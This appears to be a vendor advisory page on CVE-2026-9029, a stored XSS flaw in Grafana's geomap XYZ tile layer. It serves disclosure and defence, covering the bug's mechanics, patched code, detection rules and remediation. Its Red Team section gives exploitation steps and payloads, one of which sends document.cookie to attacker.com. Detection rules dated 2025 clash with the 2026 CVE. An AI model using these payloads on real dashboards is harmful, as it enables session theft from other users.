CVE-2026-9029
Executive Summary
CVE-2026-9029 is a stored cross-site scripting (XSS) vulnerability in Grafana's geomap panel, specifically in the XYZ tile layer. The flaw arises from an ordering bug where sanitizeTextPanelContent() runs on the raw template string before getTemplateSrv().replace() substitutes the variable value. Because the variable substitution uses the glob format with no HTML escaping, an attacker with Editor privileges can set a textbox variable's default value to an XSS payload. This payload then executes for every user who opens the dashboard, effectively bypassing the fix for CVE-2023-0507.
The vulnerability has a CVSS score of 7.3 (High) and affects Grafana versions 8.0.0 through 9.5.17, 10.0.0 through 10.4.1, and 11.0.0 through 11.1.5. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood and can be weaponized with minimal effort.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Grafana is distributed as a Go binary and also as a Docker image. The vulnerable component is the grafana/grafana Docker image and the grafana package on various Linux distributions. Users should verify they are not using a vulnerable version in their CI/CD pipelines or container registries. The fix is included in official Docker images tagged 9.5.18, 10.4.2, and 11.1.6.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An Editor account is needed.
- User Interaction (UI): Required (R) – The victim must open the dashboard.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High. The vulnerability allows persistent XSS with low privileges and no user interaction beyond opening a dashboard. It can be used to steal session cookies, perform actions on behalf of the victim, or deploy further attacks.
Deep Dive & Mechanics
The geomap panel in Grafana allows users to display geographic data using tile layers. The XYZ tile layer supports template variables (e.g., ${myvar}) that are substituted at runtime. The vulnerable code path is:
- The raw template string (e.g.,
https://tiles.example.com/${myvar}) is passed tosanitizeTextPanelContent(). - This function sanitizes the string, but because the variable has not been substituted yet, the sanitizer sees only the literal
${myvar}and leaves it untouched. - The sanitized string is then passed to
getTemplateSrv().replace(), which substitutes the variable value using the glob format. The glob format does not HTML-escape the value. - The resulting string (now containing the attacker's payload) is assigned to
element.innerHTMLin OpenLayers, causing the XSS to execute.
The bypass of CVE-2023-0507 occurs because the previous fix only addressed a similar issue in a different code path, but the geomap panel's XYZ tile layer was not covered.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// Vulnerable: sanitize then interpolate
let raw = 'https://tiles.example.com/${myvar}';
let sanitized = sanitizeTextPanelContent(raw); // No change because ${myvar} is not HTML
let final = getTemplateSrv().replace(sanitized); // Substitutes payload without escaping
element.innerHTML = final; // XSS
Patched Code (simplified):
// Patched: interpolate then sanitize
let raw = 'https://tiles.example.com/${myvar}';
let interpolated = getTemplateSrv().replace(raw); // Substitutes value first
let final = sanitizeTextPanelContent(interpolated); // Sanitizes the final string
element.innerHTML = final; // Safe
The fix ensures that variable substitution occurs before sanitization, so the XSS payload is properly escaped.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Grafana instance with a vulnerable version (e.g., 10.4.1).
- An Editor account on that instance.
Steps:
- Log in as an Editor.
- Create a new dashboard or edit an existing one.
- Add a geomap panel and configure it to use an XYZ tile layer.
- In the tile layer URL, use a template variable, e.g.,
https://tiles.example.com/${xss}. - Create a new textbox variable named
xssand set its default value to:"><img src=x onerror=alert(document.cookie)> - Save the dashboard.
- Any user (including Admins) who opens the dashboard will see the XSS alert.
Advanced Payload:
"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor Grafana audit logs for creation or modification of dashboards by Editor accounts.
- Look for geomap panels with template variables in the tile layer URL.
- Use the Sigma rule below to detect suspicious variable values in Grafana logs.
Hunting:
- Search for dashboards containing the string
geomapandxyzin their JSON definition. - Check for variables with default values containing HTML tags or JavaScript event handlers.
Containment:
- Immediately upgrade to a patched version.
- If upgrade is not possible, disable the geomap panel plugin or restrict Editor permissions.
- Review all existing dashboards for malicious variable values.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from Grafana to attacker-controlled domains (e.g.,
attacker.com/steal). - Logs: Grafana audit log entries showing dashboard creation/modification by Editor accounts with suspicious variable values.
- File: Dashboard JSON files containing
"type": "geomap"and"tileLayer": "xyz"with template variables. - Process: Unusual JavaScript execution in the browser when viewing a Grafana dashboard.
Detection Engineering
YARA Rule
rule grafana_cve_2026_9029_xss {
meta:
description = "Detects XSS payloads in Grafana dashboard JSON for CVE-2026-9029"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-9029"
strings:
$geomap = "geomap" nocase
$xyz = "xyz" nocase
$xss_payload = /<[^>]+on\w+\s*=[^>]*>/i
$xss_script = /<script[^>]*>.*<\/script>/i
condition:
$geomap and $xyz and ($xss_payload or $xss_script)
}
Sigma Rule
title: Grafana Geomap XSS via Template Variable
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects creation or modification of Grafana dashboards containing geomap panels with XSS payloads in template variables.
author: Valters IT
date: 2025-04-10
logsource:
product: grafana
service: audit
detection:
selection:
action: "dashboard.create" or "dashboard.update"
body|contains: "geomap"
body|contains: "xyz"
body|contains|re: "<[^>]+on\w+\s*="
condition: selection
falsepositives:
- Legitimate use of HTML in variable descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Grafana CVE-2026-9029 XSS Payload in Dashboard Request"; flow:to_server,established; content:"geomap"; http_client_body; content:"xyz"; http_client_body; pcre:"/<[^>]+on\w+\s*=[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Grafana to version 9.5.18, 10.4.2, or 11.1.6 (or later).
- If upgrade is not possible, disable the geomap panel plugin by setting
plugins = []in the Grafana configuration or removing the plugin binary.
Short-term:
- Restrict Editor permissions to trusted users only.
- Enable Grafana audit logging and monitor for suspicious dashboard changes.
- Implement a web application firewall (WAF) rule to block XSS payloads in API requests.
Long-term:
- Conduct a code review of all template variable substitution points in Grafana.
- Implement a Content Security Policy (CSP) header to mitigate XSS impact.
- Regularly update Grafana to the latest stable version.
Valters IT